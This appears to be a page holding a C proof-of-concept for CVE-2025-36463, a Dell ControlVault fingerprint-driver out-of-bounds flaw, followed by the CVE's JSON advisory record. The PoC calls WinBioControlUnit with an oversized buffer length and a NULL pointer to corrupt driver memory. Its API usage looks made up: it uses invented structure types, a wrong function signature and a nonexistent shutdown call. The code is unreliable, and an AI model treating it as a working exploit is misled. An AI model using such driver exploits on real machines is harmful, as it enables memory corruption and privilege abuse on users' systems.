CVE-2025-36463

// CVE-2025-36463 PoC - Dell ControlVault WBDI Driver Out-of-Bounds Access // This PoC demonstrates triggering the vulnerability via WinBioControlUnit #include <windows.h> #include <winbio.h> #include <stdio.h> #pragma comment(lib, "winbio.lib") // ControlCode 4 - WBIO_USH_ADD_RECORD #define WBIO_USH_ADD_RECORD 4 int main() { WINBIO_SESSION_HANDLE sessionHandle = NULL; WINBIO_UNIT_ID unitId = 0; WINBIO_BSP_SCHEMA schema = {0}; printf("CVE-2025-36463 PoC - Dell ControlVault WBDI Driver\n"); printf("Attempting to trigger out-of-bounds access...\n\n"); // Initialize the session HRESULT hr = WinBioOpenSession( WINBIO_TYPE_FINGERPRINT, WINBIO_BSP_TYPE_MSFB, WINBIO_FLAG_RAW, &unitId, 1, NULL, &sessionHandle ); if (FAILED(hr)) { printf("[-] Failed to open session: 0x%08X\n", hr); return 1; } printf("[+] Session opened successfully\n"); // Trigger the vulnerable code path // Send invalid SendBufferSize with ControlCode 4 (WBIO_USH_ADD_RECORD) WINBIO_CONTROL_PARAMETERS controlParams = {0}; WINBIO_CONTROL_DATA controlData = {0}; // Set invalid buffer size to trigger out-of-bounds access controlParams.ParameterCode = WBIO_USH_ADD_RECORD; controlData.SendBufferSize = 0xFFFFFFFF; // Invalid size controlData.SendBuffer = NULL; // NULL or invalid pointer hr = WinBioControlUnit( sessionHandle, WINBIO_TYPE_FINGERPRINT, unitId, &controlParams, &controlData, sizeof(controlData) ); if (SUCCEEDED(hr)) { printf("[+] WinBioControlUnit call succeeded (unexpected)\n"); } else { printf("[*] WinBioControlUnit call failed: 0x%08X\n", hr); printf("[*] This may indicate the vulnerability was triggered or protected\n"); } WinBioCloseSession(sessionHandle); WinBioShutdown(); printf("\n[!] Note: This PoC is for educational purposes only.\n"); return 0; }

{"cve": {"id": "CVE-2025-36463", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:53.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple out-of-bounds read and write vulnerabilities exist in the ControlVault WBDI Driver Broadcom Storage Adapter functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted WinBioControlUnit call can lead to memory corruption. An attacker can issue an api call to trigger this vulnerability. This vulnerability is triggered when submitting a `WinBioControlUnit` call to the StorageAdapter with the ControlCode 4 (`WBIO_USH_ADD_RECORD`) and with an invalid `SendBufferSize`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-805"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2175", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}]}}